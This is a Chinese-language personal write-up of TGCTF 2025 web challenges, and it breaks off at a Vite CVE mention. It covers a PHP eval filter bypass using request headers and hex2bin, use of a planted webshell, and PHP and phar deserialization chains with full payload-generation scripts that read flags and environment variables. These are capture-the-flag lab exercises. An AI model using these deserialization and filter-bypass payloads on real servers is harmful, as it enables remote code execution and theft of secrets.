TGCTF 2025 web 个人wp如何巧妙利用提升搜索排名?

摘要:AAA偷渡阴平(复仇) <?php $tgctf2025=$_GET['tgctf2025']; if(!preg_match("0|1|[3
AAA偷渡阴平(复仇) <?php $tgctf2025=$_GET['tgctf2025']; if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){ //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi eval($tgctf2025); } else{ die('(╯‵□′)╯炸弹!•••*~●'); } highlight_file(__FILE__); 首先题目描述说禁了无参rce,考虑别的办法 但是简单想了一下我学过的rce姿势,只留数字2的并且% $等符号都被禁掉的方法好像没见过 这个题当时是没做出来的,后来经过师哥提示终于解出来 首先localeconv scandir pos end current这些常见函数肯定是被禁掉的,正常读文件的法子应该行不通了 注意到获取请求标头的函数只禁了getallheaders一个函数,但是跟getallheaders函数作用相同的函数还有其他的比如apache_request_headers,我们利用这个函数也可以获取请求标头 然后又因为数字偏偏只有2没有被禁,所以这里肯定是一个重要的利用点,可以想到hex2bin函数,把十六进制字符串转为二进制ascii字符串,如果我们往请求头中放入我们构造的十六进制字符串,hex2bin转为字符串后就可以执行了 首先构造我们需要的十六进制字符串,我们要执行cat /f*命令 然后抓包,把这个加到请求头中,构造无参rce,如图 可以看到报错了,我也不知道啥情况,但是把除了host之外的请求头都删掉就可以了 拿到flag AAA偷渡阴平 之所以先写复仇的wp再写这个的wp是因为我们要尝试解决上一个题没解决的疑问:为什么刚开始传的时候会报错 由于这个题没有禁用无参rce的相关函数,我们可以深入分析一下 首先 print_r(apache_request_headers()); 拿到所有请求标头 我们看到获取请求标头的顺序是从下到上获取 也就是说请求头中最后一行是什么,使用apache_request_headers函数的时候获取的第一个请求标头就是什么 然后我们加上key函数 可以发现就是从下往上获取的键值,我们把构造的十六进制放到最后就好了 然后hex2bin转换执行,复仇版本中也有很多执行函数没有过滤,随便找一个用就行 拿到flag 当然了,因为这个题没有过滤掉这么多的函数,所以我们用最简单的无参做就可以了 火眼辩魑魅 这个题属于简单签到题,简单一讲 首先dirsearch扫一下发现robots.txt,发现很多php文件,题目说只有一个洞是通的,又说是shell学姐,所以直接打tgshell.php,打开看到是一个一句话马 蚁剑测试一下发现能通 根目录读flag 什么文件上传? 打开是一个文件上传入口 顺便dirsearch扫一下,没想到还真有东西 我们看robots.txt 里面有个class.php,打开看一下是个反序列化 首先找链尾,发现future类中有system($_POST["wow"]);,应该是链尾,我们顺着往上找 要调用tostring方法 这里有个地方需要注意 class today { public $doing; public $did; public $done; public function __construct(){ $this->did = "What you did makes you outstanding.<br>"; } public function __call($arg1, $arg2) { $this->done = "And what you've done has given you a choice.<br>"; echo $this->done; if(md5(md5($this->doing))==666){ return $this->doing(); } else{ return $this->doing->better; } } } 由于这里面有个判断if(md5(md5($this->doing))==666) 这里执行md5(md5($this->doing))时,$this->doing 是future 对象。PHP在计算MD5哈希前会将对象转换为字符串,所以会自动调用 future类的__toString 方法 解决了这个问题我们就可以构造链子了 因为反序列化的时候调用了best64_decode函数进行了五次base64解码并且删掉了最后的四个字符,所以我们要进行5次base64编码并在最后加上任意四个字符 <?php class yesterday { public $learn; public $study; public $try; } class today { public $doing; } class future{ } $c = new yesterday(); $c-> study = new today(); $c->study->doing=new future(); $sc=serialize($c); for ($i = 0; $i < 5; $i++) { $sc = base64_encode($sc); } $sc .= 'aaaa'; echo $sc; get传filename然后post传wow就可以了 拿到flag 什么文件上传?(复仇) 上一个题的复仇版本,首先正常的php反序列化肯定是不能做了,因为bast64函数变成了return base64_encode(md5(base64_encode(md5($str)))); 由base64_decode变成了encode并且多了不可逆的md5,所以这一种办法应该是行不通的 题目提示是phar反序列化,又有文件上传入口,很容易想到文件上传+phar反序列化组合拳 我们写脚本生成phar包 <?php class yesterday { public $learn; public $study; public $try; } class today { public $doing; } class future{ } $c = new yesterday(); $c-> study = new today(); $c->study->doing=new future(); @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar,生成后可以随意修改 $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($c); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); 本地运行生成phar.phar文件,尝试上传这个文件发现被ban了,但是robots.txt中提示文件上传后缀是三个小写字母 所以我们抓包然后bp爆破一下文件后缀 最后爆出来是atg后缀,修改这个后缀然后上传,然后回到class.php页面传 ?filename=phar://./uploads/phar.atg wow=cat /proc/self/environ 在环境变量里面找到flag 前端game 看到页面名字是Vue3 Game with Vite,猜测是不是跟Vite有关系,搜索发现vite框架 这里利用的是CVE-2025-30208漏洞 官方wp中